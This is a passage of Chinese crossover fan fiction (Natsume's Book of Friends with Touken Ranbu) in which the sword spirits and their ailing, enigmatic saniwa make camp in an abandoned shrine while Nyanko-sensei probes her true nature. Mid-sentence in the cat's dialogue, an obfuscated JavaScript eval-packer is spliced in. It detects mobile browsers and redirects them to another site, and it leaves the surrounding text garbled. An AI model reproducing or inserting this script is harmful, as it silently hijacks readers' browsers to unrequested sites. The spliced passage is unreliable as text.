“根据你提供的信息,可以初步判断:第一,时间溯行军在此地的活动已有一段时间,其目标明确指向与‘名字’相关的存在及‘名字’转移过程;第二,‘名字’异常不仅发生在归还瞬间,可能已对部分‘名字’本身造成了持续性的影响或污染;第三,对方的行动模式偏向隐蔽、试探和伺机窃取,而非正面强攻,这说明它们要么力量有限,要么另有图谋,需要谨慎对待。” 一文字则宗总结道。 “那么,我们接下来该怎么做?” 夏目贵志问道,目光不自觉地看向源朝曦,经过刚才那一幕,他潜意识里已将这位看似病弱实则深不可测的“旅人”视作了可以倚仗的强大存在。 源朝曦没有立刻回答,她的目光投向森林深处,灰蓝色的眼眸仿佛穿透了层层叠叠的枝叶,看到了更远处城镇的轮廓以及那其中盘根错节的、与“名字”相关的无数细微灵力连线。 “首先,我们需要一个临时的据点,方便行动和休整。” 她收回目光,看向夏目贵志,“夏目君,这附近是否有合适的地点?最好相对隐蔽,灵力环境稳定,不会轻易被寻常人类或妖怪打扰。” 40.第四十章 “据点?” 夏目贵志下意识的重复这个词,目光扫过四周幽深的森林。 要带他们去自己家吗? 不! 不行! 塔子阿姨和滋伯父只是普通人类,绝不能把他们卷入这种危险又离奇的事情里,而且家里也未必安全,万一那些时间溯行军闯入家门…… 夏目贵志的迟疑与担忧清晰地写在他的脸上,源朝曦静静地注视着他,没有催促,灰蓝色的眼眸深处一片了然的平静,她能够理解夏目贵志的顾虑,普通人、普通家庭确实不应该轻易卷入这种远超常理的事件。 “不需要你的家作为据点。” 源朝曦温和的声音打破了短暂的沉默,“我们只是需要一个临时的落脚点,方便我们行动,也方便我们保护你不被频繁骚扰,森林里或者城镇边缘废弃的房屋都可以。” “我们带有基本的补给,对环境要求不高,只要能遮风避雨,相对隐蔽即可。” “大将,可……”药研藤四郎的话在源朝曦举起的手下被吞了回去,他镜片后的目光不认同地扫过周围这片虽然僻静但终究是露天野地的环境,更担忧地看向源朝曦依旧苍白的脸色,在他看来以源朝曦现在的身体状况,在野外长期逗留显然不利于她身体的恢复。 源朝曦温和的话语和明确的态度让夏目贵志紧绷的心弦稍稍放松了些,他感激地看了源朝曦一眼,这位神秘的女性似乎总能理解他的顾虑,并且给予他足够的尊重。 “森林里……”夏目贵志环顾四周,努力思考着合适的地点,“我知道有个废弃的山中小神社,在更深的林子里,平时没什么人去,周围也比较开阔,应该不容易被突袭,就是……就是有点儿旧了,可能需要打扫一下。” “可以。”源朝曦没有丝毫犹豫便点头应下,“带路吧,夏目君。旧些无妨,只要能暂时容身即可。” 夏目贵志所说的废弃神社坐落在八原森林更深处的山腰,掩映在一片苍郁的古木之中。 通往神社的石阶早已被厚厚的青苔和落叶覆盖,两侧的石灯笼东倒西歪,朱红的漆皮剥落殆尽,露出底下灰白的石头,空气里弥漫着潮湿的腐殖质气味。 神社的本殿并不大,木结构的建筑在岁月和风雨的侵蚀下显得歪斜破败,但主体结构尚算完整,瓦顶虽有残缺,至少能勉强遮风挡雨。 本殿前的拜殿空阔,地板吱呀作响,积了厚厚一层灰,但奇妙的是,这里的外表虽然陈旧,却并不会让人感到阴森,反而有一种被时光遗忘般的、平和的“洁净”感,仿佛曾经供奉于此的神明虽已远去,留下的余韵仍在默默涤荡着污秽。 “就是这里了,是我之前无意间发现的。”夏目贵志停下脚步,回头看向源朝曦一行人,语气里带着一丝歉意,“条件比较差,但平时确实很少有谁过来。” “足够了。”源朝曦环顾四周,灰蓝色的眼眸在略显昏暗的光线下显得格外沉静,“此处灵力环境稳定,地势开阔,便于警戒。辛苦你了,夏目君。” 源朝曦的目光扫过斑驳的鸟居、荒芜的庭院以及本殿前那块还算平整的空地,心中迅速评估着这里作为临时据点的优劣——地理位置隐蔽,灵力背景“干净”到几乎刻意,残留着极其微弱的净化结界痕迹,虽然破败,但稍作清理和布置,完全可以满足短期驻扎的需求。 更重要的是,她能感觉到这里与整片森林、乃至远方城镇的灵力脉络有着某种隐晦而和谐的联系,像是一个被遗忘的、天然的“节点”,这种地方往往更容易观察到灵力流动的异常。 “那么,接下来一段时间就打扰两位了。”一文字则宗微笑着欠身,姿态优雅从容,仿佛即将入驻的不是破败神社,而是某处雅致的别院,他手中的折扇“唰”地展开,轻轻扇动,带起的微风拂开近处的一些浮尘。 “清理和布置的工作就交给我们吧,夏目君和猫咪老师可以稍作休息。”药研藤四郎推了推眼镜,已经自动进入了“内务”模式,目光快速扫过本殿内部的结构和积灰情况,心里盘算着需要重点清理的区域和可能存在的安全隐患。 夏目贵志看着眼前这群行动迅速、分工明确的“旅人”,心中最后一点迟疑也消散了不少,对方并没有因为环境的简陋而表现出任何不满或嫌弃,反而立即投入了安顿的工作,这种务实和高效让他感到些许安心。 “那,我也来帮忙打扫吧。”夏目贵志放下友人帐,挽起袖子。 “不用了,夏目君。” 源朝曦轻轻摇头,目光温和却带着不容拒绝的意味,“今日你已经受到了不小的惊吓,也为我们提供了至关重要的信息。这些杂事交给他们即可,你好好休息。” “如果你觉得在这里看着他们干活不自在,可以和你的同伴聊聊,或者去安抚一下附近可能被我们惊扰的小家伙们。” 源朝曦的目光投向神社外的森林。 夏目贵志愣了一下,随即明白了她的意思。 确实,刚才的冲突和源朝曦一行人的到来很可能让森林里那些敏感的小妖怪们感到不安,他看了看猫咪老师,对方已经变回了招财猫形态,揣着手蹲在拜殿前的石阶上,一副“大爷我看着你们忙”的样子。 “那好吧。”夏目贵志最终点了点头,他确实有些疲惫,而且源朝曦说得对,安抚森林里受惊的小妖怪们也是他此刻应该做的事情,“如果有什么需要我做的,请随时告诉我。” 夏目贵志向源朝曦微微鞠躬,然后弯腰抱起友人帐,朝着神社外走去。 猫咪老师瞥了他一眼,懒洋洋地甩了甩尾巴,没有跟上去,显然它认为夏目贵志在自家地盘上不会有太大危险,而且它也对这个临时据点的这群人充满了好奇。 “人类,不,你应该不是人类吧?”猫咪老师揣着手,蹲在拜殿前布满青苔的石阶上,黄绿色的竖瞳一眨不眨地盯着源朝曦,语气是肯定的,而非疑问。 正在清扫拜殿地板的药研藤四郎动作几不可查地顿了一下,一文字则宗摇扇的速度也微微放缓,笑面青江倚在门边擦拭刀镡的动作停下,千子村正和次郎太刀也投来了目光,只有小夜左文字依旧隐在阴影中,无声无息。 空气似乎因这个问题而凝滞了一瞬,神社外林间的风声和鸟鸣显得格外清晰。 源朝曦缓缓转过身,面对着蹲坐在石阶上的招财猫,她的目光平静地迎上那双属于大妖怪的锐利眼睛,灰蓝色的眼眸在破败神社昏暗的光线下显得深邃而难以捉摸。 “是与不是,这个答案很重要吗,猫咪老师?” 她反问,声音里听不出情绪。 “重不重要,得看你的答案是什么。” 猫咪老师揣着手,圆滚滚的身体坐在石阶上,黄绿色的竖瞳一眨不眨,“人类的气息,你身上有,但这具躯壳的状态太差了,像一件被强行修补、随时会碎掉的旧瓷器,而且里面流动的东西给我的感觉可不是普通人能够拥有的。” 猫咪老师的目光扫过源朝曦苍白到几乎透明的皮肤,掠过她因短暂战斗而略显急促却依旧平稳的呼吸,最后停留在那双沉静得如同古井的灰蓝色眼眸上。 “更重要的是,你看待‘刀’的眼神,刚才用刀的方式……那不是寻常的‘会用’,那是‘习惯’,就像呼吸一样自然的‘习惯’。” 猫咪老师的语调慢了下来,带着一种近乎肯定的推测,“人类,哪怕是顶级的剑豪对‘刀’的感情和运用方式也不是你这样的,你在用那柄太刀的时候,更像是在用自己身体的一部分,哪怕那刀并不趁手。” 源朝曦静静地注视着猫咪老师那双锐利的黄绿色竖瞳,林间的风拂过她束在脑后的红发,几缕发丝轻柔地扫过她苍白的脸颊,她的目光平静无波,仿佛猫咪老师那些近乎剖白本质的话语,不过是掠过水面的微风,在她这里激不起半分涟漪。 片刻的静默后,源朝曦微微侧首,目光投向神社外被暮色浸染的层层林海,声音很轻,带着一种难以言喻的遥远感:“重要的不是‘我’是什么,猫咪老师。重要的是,此时此刻,我站在这里,与你们有着共同需要面对的‘麻烦’,那些觊觎‘名字’、试图搅乱此世安宁的存在,才是我们需要共同关注的焦点,不是吗?” 源朝曦巧妙地避开了关于自身本质的直接回答,将话题重新引回了当前迫在眉睫的任务上,这是一种委婉的拒绝,也是一种成熟的引导。 猫咪老师揣着手,喉咙里发出低低的、意味不明的呼噜声,它盯着源朝曦看了几秒,那双属于大妖怪的眼睛里锐利的光芒并未消退,但似乎也接受了对方此刻无意深谈的态度。 “哼,狡猾的人类,或者说,狡猾的‘什么’。” 猫咪老师哼了一声,圆滚滚的身体在石阶上换了个更舒服的姿势趴下,尾巴尖轻轻甩动,“算了,只要你不打友人帐和夏目那笨蛋的主意,不危害这片土地,你是什么东西,大爷我暂时懒得深究。” “至于那些时空溯行军,敢在八原撒野,就要做好被撕碎的觉悟。” 猫咪老师的语气沉了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222295|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着一丝冷意。 这算是某种程度上的认可,或者说,暂时的休战与观察,源朝曦几刃与夏目贵志一方,因共同的威胁而暂时结成了脆弱的同盟。 药研藤四郎和一文字则宗几刃不约而同地在心底松了口气,但看向源朝曦的目光却更加复杂。 源朝曦的回避恰恰印证了猫咪老师的怀疑并非空穴来风,她不是普通人类,这一点现在就几乎可以确认。 但她究竟是何种存在?为何拥有如此矛盾的特质——强大的灵力与战斗本能,却困于一副如此孱弱的躯壳? 刀剑付丧神? 这个念头在一文字则宗和药研藤四郎心中同时闪过,但随即被他们自己否定——刀剑付丧神皆为男性形态,乃是刀剑之灵依托信仰与传说所化,他们从未听说过有女性付丧神的存在。 更何况,如果源朝曦真的是付丧神,她又为什么需要与他们这些分灵签订契约?又怎么会以“审神者”的身份被时政承认并派发任务? 可如果她不是付丧神,那她对“刀”那种深入骨髓的熟悉感、运用时那种仿佛肢体延伸般的本能,又作何解释?还有她身上那股浩瀚、古老、与寻常审神者截然不同的灵力特质…… 谜团如同藤蔓,悄然缠绕在每一位刀剑男士的心头。但他们默契地没有追问,只是将这份深沉的疑惑与探究欲压下,如同过往每一次面对主君身上那层神秘面纱时一样。 信任,或者说,他们对“此刻”源朝曦所展现出的立场与力量的依赖,暂时覆盖了那份求知的好奇。 清理和布置工作在短暂的插曲后继续进行,药研藤四郎和千子村正负责打扫本殿内部,次郎太刀与笑面青江清理拜殿和前庭,一文字则宗则看似闲适地摇着扇子,目光却锐利地扫视着神社周围的环境,评估着可能的防御漏洞和灵力流动节点,小夜左文字依旧隐在暗处,无声地守护着外围。 当夏目贵志安抚完附近几只受惊的小妖怪,抱着一小捆捡来的干燥柴火回到神社时,看到的便是一副井然有序的景象。 破败的本殿内部被简单清理过,积灰扫去,腐朽的杂物被移出,露出了相对干净的地板。 药研藤四郎甚至用随身携带的防水布在相对完好的角落铺出了一小块干净的休息区域;拜殿前的空地被清理出来,次郎太刀不知从哪里搬来几块相对平整的大石,权作坐处;笑面青江点燃了夏目贵志带回的柴火,一小簇篝火在逐渐昏暗的暮色中跳跃起来,驱散着林间的寒湿之气,也带来了些许暖意和光亮。 “夏目君,辛苦了。” 源朝曦坐在药研藤四郎铺好的软垫上,背靠着本殿冰凉的木柱,火光在她苍白的脸上跳跃,为她镀上了一层暖色的光晕,却也更显出她眉宇间的疲惫,但她的眼神依旧清明,看着抱着柴火有些怔愣的夏目贵志。 “不、不辛苦。” 夏目贵志连忙摇头,将柴火放到笑面青江指定的地方,有些不好意思地看了看焕然一新的临时据点,“大家动作好快。” “这只不过是基本的野外生存技能而已。” 药研藤四郎推了推眼镜,从随身的储物袋中取出几个密封的饭团和水囊,“条件有限,今晚先简单用些干粮。大将,您需要先用药。” 他将一个特制的小药瓶和温水递给源朝曦,源朝曦接过,平静地服下,没有多言。 夏目贵志看着这一幕,心中那丝异样感再次升起,这位“阿鲁金”的身体状况,似乎比他想象的还要糟糕一些,需要定时服药,可就是这样一副身体,刚才却爆发出了那样惊人的力量…… “夏目君也请用。” 一文字则宗笑眯眯地将一个饭团递给夏目,又给蹲在火堆旁、眼睛直勾勾盯着饭团的猫咪老师也递过去一个特制的大号饭团。 “哼,还算懂事。” 猫咪老师叼过饭团,三两口吞下,满意地眯了眯眼。 简单的晚餐在沉默却并不压抑的气氛中进行。 饭后,药研藤四郎开始详细询问夏目贵志关于那几个出现归还异常的名字的具体情况,试图从症状中寻找规律;一文字则宗则摊开一张简陋的、由笑面青江根据夏目描述绘制的八原粗略地图,与夏目确认时间溯行军出现过的具体位置,试图标记出它们的活动轨迹。 源朝曦安静地听着,偶尔在关键处提出一两个问题,灰蓝色的眼眸在火光映照下,倒映着跳跃的光点,仿佛在飞速处理、整合着获得的所有信息。 夜色渐深,林间的虫鸣与风声交织。